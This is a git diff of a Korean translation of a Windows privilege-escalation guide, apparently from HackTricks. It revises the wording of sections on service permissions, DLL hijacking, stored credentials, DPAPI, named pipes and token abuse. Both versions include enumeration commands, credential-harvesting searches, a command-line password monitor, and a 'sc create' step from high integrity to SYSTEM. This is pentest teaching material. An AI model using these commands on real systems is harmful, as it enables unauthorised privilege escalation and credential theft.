**Windows 8.1**부터 Microsoft는 로컬 보안 권한(LSA)에 대한 향상된 보호 기능을 도입하여 **신뢰할 수 없는 프로세스**가 **메모리를 읽거나** 코드를 주입하려는 시도를 **차단**하여 시스템을 더욱 안전하게 만들었습니다.\
|
||||
**Windows 8.1**부터 Microsoft는 신뢰할 수 없는 프로세스가 **메모리를 읽거나** 코드를 주입하려는 시도를 **차단**하기 위해 로컬 보안 권한(LSA)에 대한 향상된 보호 기능을 도입하여 시스템을 더욱 안전하게 만들었습니다.\
|
||||
[**LSA 보호에 대한 자세한 정보는 여기에서 확인하세요**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard**는 **Windows 10**에서 도입되었습니다. 그 목적은 패스 더 해시 공격과 같은 위협으로부터 장치에 저장된 자격 증명을 보호하는 것입니다.| [**Credentials Guard에 대한 자세한 정보는 여기에서 확인하세요.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard**는 **Windows 10**에서 도입되었습니다. 그 목적은 패스 더 해시 공격과 같은 위협으로부터 장치에 저장된 자격 증명을 보호하는 것입니다.| [**자격 증명 보호에 대한 자세한 정보는 여기에서 확인하세요.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -321,7 +323,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### Privileged groups
|
||||
|
||||
If you **privileged group에 속해 있다면 권한 상승을 할 수 있습니다**. privileged groups에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요:
|
||||
If you **privileged group에 속해 있다면 권한 상승을 할 수 있습니다**. 권한 그룹과 이를 악용하여 권한을 상승시키는 방법에 대해 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
@ -330,7 +332,7 @@ If you **privileged group에 속해 있다면 권한 상승을 할 수 있습니
|
||||
### Token manipulation
|
||||
|
||||
**더 알아보세요** 이 페이지에서 **token**이 무엇인지: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
다음 페이지를 확인하여 **흥미로운 tokens에 대해 배우고 이를 악용하는 방법**을 알아보세요:
|
||||
다음 페이지를 확인하여 **흥미로운 tokens에 대해 배우고** 이를 악용하는 방법을 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -370,7 +372,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
|
||||
#Without usernames
|
||||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다.](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**프로세스 바이너리의 권한 확인**
|
||||
```bash
|
||||
@ -416,7 +418,7 @@ You can use **sc** to get information of a service
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 사용하는 것이 좋습니다.
|
||||
각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 사용하는 것이 권장됩니다.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
@ -470,18 +472,18 @@ net stop [service name] && net start [service name]
|
||||
- **GENERIC_WRITE**: 서비스 구성을 변경할 수 있는 능력을 상속받습니다.
|
||||
- **GENERIC_ALL**: 서비스 구성을 변경할 수 있는 능력을 또한 상속받습니다.
|
||||
|
||||
이 취약점을 탐지하고 악용하기 위해서는 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.
|
||||
이 취약점을 탐지하고 악용하기 위해 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.
|
||||
|
||||
### 서비스 바이너리의 약한 권한
|
||||
|
||||
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하십시오 ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하세요 ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
**wmic**를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 (system32가 아님) **icacls**를 사용하여 권한을 확인할 수 있습니다:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
|
||||
```
|
||||
당신은 또한 **sc**와 **icacls**를 사용할 수 있습니다:
|
||||
**sc**와 **icacls**도 사용할 수 있습니다:
|
||||
```bash
|
||||
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
@ -594,7 +596,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### 시작 시 실행
|
||||
|
||||
**다른 사용자가 실행할 레지스트리나 바이너리를 덮어쓸 수 있는지 확인하세요.**\
|
||||
**다음 페이지를 읽어** **권한 상승을 위한 흥미로운 autoruns 위치**에 대해 더 알아보세요:
|
||||
**다음 페이지를 읽어** 권한 상승을 위한 흥미로운 **자동 실행 위치**에 대해 더 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -646,7 +648,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||||
```
|
||||
### Open Ports
|
||||
|
||||
외부에서 **제한된 서비스**를 확인하십시오.
|
||||
외부에서 **제한된 서비스**를 확인하세요.
|
||||
```bash
|
||||
netstat -ano #Opened ports?
|
||||
```
|
||||
@ -664,7 +666,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
|
||||
[**방화벽 관련 명령어는 이 페이지를 확인하세요**](../basic-cmd-for-pentesters.md#firewall) **(규칙 목록, 규칙 생성, 끄기, 끄기...)**
|
||||
|
||||
더 많은 [네트워크 열거 명령어는 여기](../basic-cmd-for-pentesters.md#network)에서 확인하세요.
|
||||
더 많은 [네트워크 열거를 위한 명령어는 여기](../basic-cmd-for-pentesters.md#network) 있습니다.
|
||||
|
||||
### Windows Subsystem for Linux (wsl)
|
||||
```bash
|
||||
@ -673,7 +675,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
이진 `bash.exe`는 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다.
|
||||
|
||||
루트 사용자 권한을 얻으면 모든 포트에서 수신할 수 있습니다(처음 `nc.exe`를 사용하여 포트에서 수신할 때 GUI를 통해 `nc`가 방화벽에 의해 허용되어야 하는지 묻습니다).
|
||||
루트 사용자 권한을 얻으면 어떤 포트에서도 수신할 수 있습니다(처음 `nc.exe`를 사용하여 포트에서 수신할 때 GUI를 통해 `nc`가 방화벽에 의해 허용되어야 하는지 묻습니다).
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -703,9 +705,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows 금고는 **Windows**가 **사용자를 자동으로 로그인**할 수 있는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장합니다. 처음에는 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장하여 브라우저를 통해 자동으로 로그인할 수 있는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다.
|
||||
|
||||
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 이 자격 증명 관리자 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
|
||||
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 **이 자격 증명 관리자** 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
|
||||
|
||||
애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 자원에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 기본 저장 금고에서 해당 자원에 대한 자격 증명을 요청해야 합니다.**
|
||||
애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 자원에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 해당 자원에 대한 자격 증명을 기본 저장 금고에서 요청해야 합니다.**
|
||||
|
||||
`cmdkey`를 사용하여 머신에 저장된 자격 증명을 나열합니다.
|
||||
```bash
|
||||
@ -731,7 +733,7 @@ mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credential
|
||||
|
||||
**DPAPI는 사용자의 로그인 비밀에서 파생된 대칭 키를 통해 키의 암호화를 가능하게 합니다**. 시스템 암호화가 포함된 시나리오에서는 시스템의 도메인 인증 비밀을 사용합니다.
|
||||
|
||||
DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉토리에 저장되며, 여기서 `{SID}`는 사용자의 [보안 식별자](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **DPAPI 키는 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 위치하며**, 일반적으로 64바이트의 임의 데이터로 구성됩니다. (이 디렉토리에 대한 접근은 제한되어 있어 CMD의 `dir` 명령어로 내용을 나열할 수 없지만, PowerShell을 통해 나열할 수 있습니다).
|
||||
DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉토리에 저장되며, 여기서 `{SID}`는 사용자의 [보안 식별자](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **DPAPI 키는 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 함께 위치하며**, 일반적으로 64바이트의 임의 데이터로 구성됩니다. (이 디렉토리에 대한 접근은 제한되어 있어 CMD의 `dir` 명령어로 내용을 나열할 수 없지만, PowerShell을 통해 나열할 수 있습니다).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -754,7 +756,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell Credentials
|
||||
|
||||
**PowerShell credentials**는 **스크립팅** 및 자동화 작업을 위해 암호화된 자격 증명을 편리하게 저장하는 방법으로 자주 사용됩니다. 자격 증명은 **DPAPI**를 사용하여 보호되며, 이는 일반적으로 동일한 컴퓨터에서 동일한 사용자에 의해서만 복호화될 수 있음을 의미합니다.
|
||||
**PowerShell credentials**는 종종 **스크립팅** 및 자동화 작업을 위해 암호화된 자격 증명을 편리하게 저장하는 방법으로 사용됩니다. 자격 증명은 **DPAPI**를 사용하여 보호되며, 이는 일반적으로 동일한 컴퓨터에서 동일한 사용자에 의해서만 복호화될 수 있음을 의미합니다.
|
||||
|
||||
PS 자격 증명을 포함하는 파일에서 **복호화**하려면 다음과 같이 할 수 있습니다:
|
||||
```powershell
|
||||
@ -980,7 +982,7 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 사용자 정의 로컬 관리자 계정을 배포할 수 있는 기능이 제공되었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 공개적으로 문서화된 기본 키를 사용하여 AES256으로 암호화된 이러한 GPP 내의 비밀번호는 인증된 사용자가 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있는 심각한 위험을 초래했습니다.
|
||||
|
||||
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시 GPP 파일을 검색하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 해당 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
|
||||
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시 GPP 파일을 스캔하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 해당 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
|
||||
|
||||
다음 파일을 위해 `C:\ProgramData\Microsoft\Group Policy\history` 또는 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista 이전)_에서 검색하세요:
|
||||
|
||||
@ -1168,15 +1170,15 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### **COM DLL 덮어쓰기**
|
||||
|
||||
**컴포넌트 오브젝트 모델 (COM)**은 서로 다른 언어의 소프트웨어 구성 요소 간의 **상호 통신**을 허용하는 Windows 운영 체제 내에 구축된 기술입니다. 각 COM 구성 요소는 **클래스 ID (CLSID)**를 통해 **식별**되며, 각 구성 요소는 인터페이스 ID (IIDs)를 통해 식별되는 하나 이상의 인터페이스를 통해 기능을 노출합니다.
|
||||
**컴포넌트 오브젝트 모델 (COM)**은 서로 다른 언어의 소프트웨어 구성 요소 간의 **상호 통신**을 허용하는 Windows 운영 체제 내에 구축된 기술입니다. 각 COM 구성 요소는 **클래스 ID (CLSID)**를 통해 **식별**되며, 각 구성 요소는 하나 이상의 인터페이스를 통해 기능을 노출하며, 이는 인터페이스 ID (IIDs)를 통해 식별됩니다.
|
||||
|
||||
COM 클래스와 인터페이스는 각각 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID**와 **HKEY\_**_**CLASSES\_**_**ROOT\Interface** 레지스트리에 정의됩니다. 이 레지스트리는 **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**를 병합하여 생성됩니다.
|
||||
COM 클래스와 인터페이스는 각각 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** 및 **HKEY\_**_**CLASSES\_**_**ROOT\Interface** 레지스트리에 정의됩니다. 이 레지스트리는 **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**를 병합하여 생성됩니다.
|
||||
|
||||
이 레지스트리의 CLSID 내부에는 **InProcServer32**라는 자식 레지스트리가 있으며, 여기에는 **DLL**을 가리키는 **기본값**과 **ThreadingModel**이라는 값이 포함되어 있습니다. 이 값은 **Apartment** (단일 스레드), **Free** (다중 스레드), **Both** (단일 또는 다중) 또는 **Neutral** (스레드 중립)일 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
기본적으로, 실행될 DLL을 **덮어쓸 수 있다면**, 해당 DLL이 다른 사용자에 의해 실행될 경우 **권한 상승**을 할 수 있습니다.
|
||||
기본적으로, 실행될 DLL 중 하나를 **덮어쓸 수 있다면**, 해당 DLL이 다른 사용자에 의해 실행될 경우 **권한 상승**을 할 수 있습니다.
|
||||
|
||||
공격자가 COM 하이재킹을 지속성 메커니즘으로 사용하는 방법을 배우려면 확인하세요:
|
||||
|
||||
@ -1207,11 +1209,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
```
|
||||
### 비밀번호를 검색하는 도구
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **은 msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행하기 위해 생성되었습니다.**\
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **는 msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행하기 위해 생성되었습니다.**\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 은 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.
|
||||
|
||||
도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 **세션**, **사용자 이름** 및 **비밀번호**를 검색하며, 이 데이터가 일반 텍스트로 저장되는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP)의 정보를 찾습니다.
|
||||
도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 **세션**, **사용자 이름** 및 **비밀번호**를 검색하며, 이 데이터가 일반 텍스트로 저장되는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP)의 정보를 제공합니다.
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1231,15 +1233,15 @@ Then, if you have **full access to the low privileged process**, you can grab th
|
||||
|
||||
Windows는 **Named Pipes**라는 기능을 제공하여 관련 없는 프로세스가 서로 다른 네트워크를 통해서도 데이터를 공유할 수 있게 합니다. 이는 **named pipe server**와 **named pipe client**로 정의된 역할을 가진 클라이언트/서버 아키텍처와 유사합니다.
|
||||
|
||||
데이터가 **클라이언트**에 의해 파이프를 통해 전송될 때, 파이프를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수** 있습니다. 파이프를 통해 통신하는 **특권 프로세스**를 식별하고 이를 모방할 수 있는 기회를 제공하여, 해당 프로세스가 설정한 파이프와 상호작용할 때 그 프로세스의 신원을 채택함으로써 **더 높은 권한을 얻을 수** 있습니다. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 찾을 수 있습니다.
|
||||
**클라이언트**가 파이를 통해 데이터를 전송할 때, 파이를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수 있는** 능력을 가집니다. 파이를 통해 통신하는 **특권 프로세스**를 식별하고 이를 모방할 수 있는 기회를 제공하여, 해당 프로세스가 설정한 파이와 상호작용할 때 그 프로세스의 신원을 채택하여 **더 높은 권한을 얻을 수 있습니다**. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 찾을 수 있습니다.
|
||||
|
||||
또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수** 있습니다: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수 있게 해줍니다:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있게 해주어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
### **Monitoring Command Lines for passwords**
|
||||
|
||||
사용자로서 쉘을 얻을 때, **명령줄에 자격 증명을 전달하는** 예약된 작업이나 다른 프로세스가 실행될 수 있습니다. 아래 스크립트는 프로세스 명령줄을 2초마다 캡처하고 현재 상태를 이전 상태와 비교하여 차이점을 출력합니다.
|
||||
사용자로서 쉘을 얻을 때, 자격 증명을 **명령줄에 전달하는** 예약된 작업이나 다른 프로세스가 실행될 수 있습니다. 아래 스크립트는 프로세스 명령줄을 2초마다 캡처하고 현재 상태를 이전 상태와 비교하여 차이점을 출력합니다.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1251,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
```
|
||||
## 프로세스에서 비밀번호 훔치기
|
||||
|
||||
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 우회
|
||||
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM으로 (CVE-2019-1388) / UAC 우회
|
||||
|
||||
그래픽 인터페이스(콘솔 또는 RDP를 통해)에 접근할 수 있고 UAC가 활성화된 경우, 일부 버전의 Microsoft Windows에서는 비권한 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다.
|
||||
|
||||
@ -1319,7 +1321,7 @@ integrity-levels.md
|
||||
|
||||
### **새 서비스**
|
||||
|
||||
이미 높은 무결성 프로세스에서 실행 중인 경우, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
|
||||
이미 높은 무결성 프로세스에서 실행 중이라면, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1335,9 +1337,9 @@ High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목
|
||||
|
||||
### SeDebug + SeImpersonate에서 전체 토큰 권한으로
|
||||
|
||||
이러한 토큰 권한이 있는 경우(아마도 이미 High Integrity 프로세스에서 찾을 수 있을 것입니다), **거의 모든 프로세스**(보호되지 않은 프로세스)를 SeDebug 권한으로 **열 수** 있으며, 프로세스의 **토큰을 복사**하고 **해당 토큰으로 임의의 프로세스를 생성**할 수 있습니다.\
|
||||
이러한 토큰 권한이 있는 경우(아마도 이미 High Integrity 프로세스에서 찾을 수 있을 것입니다), **거의 모든 프로세스**(보호되지 않은 프로세스)를 SeDebug 권한으로 **열고**, 프로세스의 **토큰을 복사**하여 **해당 토큰으로 임의의 프로세스를 생성**할 수 있습니다.\
|
||||
이 기술을 사용할 때는 일반적으로 **모든 토큰 권한을 가진 SYSTEM으로 실행 중인 프로세스를 선택**합니다(_예, 모든 토큰 권한이 없는 SYSTEM 프로세스를 찾을 수 있습니다_).\
|
||||
**제안된 기술을 실행하는 코드의** [**예제를 여기에서 찾을 수 있습니다**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
**제안된 기술을 실행하는 코드의 예는** [**여기에서 찾을 수 있습니다**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
@ -1347,7 +1349,7 @@ High Integrity에서 SYSTEM으로 가는 방법에 대한 [**예제를 읽고
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 하이재킹**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에 유용하며, 게다가 **High Integrity 프로세스에서 달성하기가 훨씬 더 쉽습니다**. 왜냐하면 dll을 로드하는 데 사용되는 폴더에 **쓰기 권한**이 있기 때문입니다.\
|
||||
**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 하이재킹**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에 유용하며, 게다가 **High Integrity 프로세스에서 달성하기가 훨씬 더 쉽습니다**. 이는 dll을 로드하는 데 사용되는 폴더에 **쓰기 권한**을 가지기 때문입니다.\
|
||||
**Dll 하이재킹에 대해** [**더 알고 싶다면 여기에서 확인하세요**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **Administrator 또는 Network Service에서 System으로**
|
||||
@ -1393,7 +1395,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
**Bat**
|
||||
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 생성된 도구 (정상적으로 작동하려면 accesschk가 필요하지 않지만 사용할 수 있습니다).
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 생성된 도구 (정상적으로 작동하기 위해 accesschk가 필요하지 않지만 사용할 수 있습니다).
|
||||
|
||||
**Local**
|
||||
|
||||
@ -1404,11 +1406,11 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
_multi/recon/local_exploit_suggestor_
|
||||
|
||||
프로젝트를 올바른 버전의 .NET을 사용하여 컴파일해야 합니다 ([이곳을 참조하세요](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 수행할 수 있습니다:
|
||||
프로젝트를 올바른 버전의 .NET을 사용하여 컴파일해야 합니다 ([여기 참조](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 보려면 다음을 수행할 수 있습니다:
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
## Bibliography
|
||||
## 참고 문헌
|
||||
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
|
||||
|
Loading…
x
Reference in New Issue
Block a user